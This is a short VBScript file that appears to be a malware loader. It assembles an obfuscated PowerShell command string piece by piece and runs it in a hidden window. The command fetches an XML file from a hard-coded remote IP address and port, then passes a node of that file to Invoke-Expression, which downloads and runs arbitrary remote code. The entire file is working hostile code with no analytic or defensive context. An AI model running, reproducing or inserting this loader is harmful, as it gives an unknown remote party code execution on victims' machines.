Set EUS = CreateObject("WScript.Shell")
Dim mask
mask = "$xmldoc = "
mask = mask & "New-Object "
mask = mask & "System.Xml.XmlDocument;"
mask = mask & " "
mask = mask & "$xmldoc.'Load'("
mask = mask & "'http://185.81.157.25:222/A.txt');"
mask = mask & " "
mask = mask & "iex "
mask = mask & "$xmldoc.command.a.execute"
fullCommand = "POWeRSHeLL.eXe " & mask
runOptions = 0
EUS.Run fullCommand, runOptions
Set EUS = Nothing